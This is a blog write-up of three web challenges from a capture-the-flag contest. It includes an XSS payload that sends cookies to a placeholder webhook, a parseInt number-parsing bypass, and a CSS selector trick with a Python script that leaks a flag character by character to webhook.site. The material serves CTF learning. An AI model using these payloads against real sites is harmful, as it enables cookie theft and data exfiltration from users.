Site cover image

Site icon image vicevirusā€™ Blog

Yo, welcome to my blog! I write tech stuff and play CTFs for fun. (still a noob)

Post title icon Grey Cat The Flag Qual 2024 - Write-up šŸˆā€ā¬›

Intro


Hewwo evewy-nyan~ āœØāœØ

On dis week, me had da chance to pway with my team M53 in da annual Grey Cat The Flag CTF. We awmost sowved aww da web chawwenges except fow one. Ovewaww, da chawwenges wewe quite fun and me enjoyed it (bias, me onwy do web :3)

Markdown Parser


Image in a image block

For this challenge, we were given a website where we could input our own markdown and it will render it for us. We were also given source code to inspect.

Image in a image block
Image in a image block
Notice that we also have the send feedback button

Checking the source code, this seems like a common XSS challenge where you have to pop XSS and try to steal the flag from the cookie.

 //admin.js    
 
        try {
            await page.setCookie({
                name: 'flag',
                value: process.env.FLAG || 'flag{fake_flag}',
                domain: cookieDomain,
                httpOnly: false,
                samesite: 'strict'
            })

Letā€™s get deeper into the source code and see if thereā€™s anything we could find to pop XSS.

Further inspection the code, we found that the user input is being appended directly into HTML tag code block inside parseMarkdown() function.

// index.js

// Here it's being sent as b64
const base64Markdown = req.query.markdown;

try {
    const markdown = atob(base64Markdown);
    console.log(markdown)
    const html = parseMarkdown(markdown);
    console.log(html)
    res.render('view', { content: html });
} catch (error) {
    console.error(error);
    res.status(500).send('Error parsing markdown');
}
//markdown.js, parseMarkdown(), vulnerable code

const lines = markdownText.split('\n');
if (line.startsWith('```')) {
    language = line.substring(3).trim();
    inCodeBlock = true;
    htmlOutput += '<pre><code class="language-' + language + '">';
}

Solution

We could easily escape out of the tag and run our own <script> tag, put our payload and steal the cookie.

The final payload should look like this:

```"><script>location='https://webhookhere/c='+document.cookie</script><code class="

Send your link with the payload above to the feedback bot, and..

Image in a image block
Flag!

Flag : grey{m4rkd0wn_th1s_fl4g}

Greyctf Survey


Image in a image block

For this challenge, we were given a website where you could set a slider and submit a vote. Source code were also given for this challenge.

Image in a image block

Looking at the source code, the challenge here is to make the score > 1

if (vote < 1 && vote > -1) {
    score += parseInt(vote);
    if (score > 1) {
        score = -0.42069;
        return res.status(200).json({
            "error": false,
            "msg": config.flag,
        });
    }
    return res.status(200).json({
        "error": false,
        "data": score,
        "msg": "Vote submitted successfully"
    });
}

But we couldnā€™t easily set the score to 2 or 1.5 directly, since it will trigger (vote < 1 && vote > -1)

Solution

How Javascript works is that, by default it will automatically convert really big or really small number into scientific notation.

Letā€™s say if you try to use 0.0000002 in JS, it will automatically be converted to 2e-7 as below.

Image in a image block

The flaw here is that this value 2e-7 is being passed into parseInt()

 score += parseInt(vote);

When doing this, parseInt() will ignore the ā€˜e-7ā€™, thus leaving only 2.

Image in a image block

To get the flag, itā€™s pretty straightforward. Just send a vote with the value of 0.0000002.

Image in a image block
Boom flag!

Flag: grey{50m371m35_4_l177l3_6035_4_l0n6_w4y}

Beautiful styles


Image in a image block
Image in a image block
background-color: black

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>My Beautiful Site</title>
    <link
      href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css"
      rel="stylesheet"
      integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN"
      crossorigin="anonymous"
    />
    <link href="/uploads/{{submit_id}}.css" rel="stylesheet" />
  </head>
  <body>
    <div class="container">
      <h1 id="title">Welcome to my beautiful site</h1>
      <p id="sub-header">
        Here is some content that I want to share with you. An example can be
        this flag:
      </p>
      <input id="flag" value="{{ flag }}" />
    </div>
    <div class="container mt-4">
      <form action="/judge/{{submit_id}}" method="post">
        <input type="submit" value="Submit for judging">
      </form>
    </div>
    <script
      src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"
      integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL"
      crossorigin="anonymous"
    ></script>
  </body>
</html>

For this challenge, we were given a website where you could input your own CSS into the page. No full source code given for the one above. Thereā€™s a /judge endpoint, which points out this could be a client-side web challenge.

As we could see above, the flag is stored inside the HTML input tag of id="flag" .

Solution

Knowing that we could input our own CSS, it seems pretty straightforward that the solution to this is to exfiltrate the flag char by char using CSS.

Hereā€™s a basic snippet on how we could exfiltrate the data of a certain HTML content.

input[id="flag"][value^="grey{"] {
    background-image: url('http://yourwebhere.com/?grey{');
}

With this, we could easily write a script and do a bruteforce char by char and get the full flag!

import requests
import string
import time

base_url = "http://challs.nusgreyhats.org:33339"
submit_url = f"{base_url}/submit"
judge_url = f"{base_url}/judge/"
webhook_api_url = "https://webhook.site/token/eb27b25f-8461-41f1-8ec3-179df722c958/requests"
flag_prefix = "grey{X5S34RCH1fY0UC4NF1ND1T"
characters = string.ascii_letters + string.digits + "}_!?@#~"
session = requests.Session()

def submit_and_judge(flag_attempt):
    css_payload = f"input[id=\"flag\"][value^=\"{flag_attempt}\"] {{background-image: url('https://webhook.site/eb27b25f-8461-41f1-8ec3-179df722c958/?{flag_attempt}');}}"
    response = session.post(submit_url, data={'css_value': css_payload}, allow_redirects=False)
    print(response.text)
    if response.status_code == 302:
        submission_id = response.headers['location'].split('/')[-1]
        print(submission_id)
        if session.post(judge_url + submission_id).status_code == 200:
            return True
    return False

def check_webhook(flag_attempt):
    response = requests.get(webhook_api_url)
    if response.status_code == 200:
        return any(flag_attempt in req['query'] for req in response.json()['data'])
    return False

current_flag = flag_prefix
while not current_flag.endswith('}'):
    for char in characters:
        test_flag = current_flag + char
        print(test_flag)
        if submit_and_judge(test_flag):
            time.sleep(1) 
            if check_webhook(test_flag):
                current_flag = test_flag
                break
    else:
        print("Failed to find next character.")
        break

print(f"Final Flag: {current_flag}")

Image in a image block
Flag: grey{X5S34RCH1fY0UC4NF1ND1T}

Edit: After the CTF has ended, Iā€™ve read some of the solutions. Interestingly, you could actually send multiple CSS snippet above in one CSS to speed up the leaking process! šŸ˜† šŸ˜†

Thanks for reading my write-up, and also thanks for the fun challenges!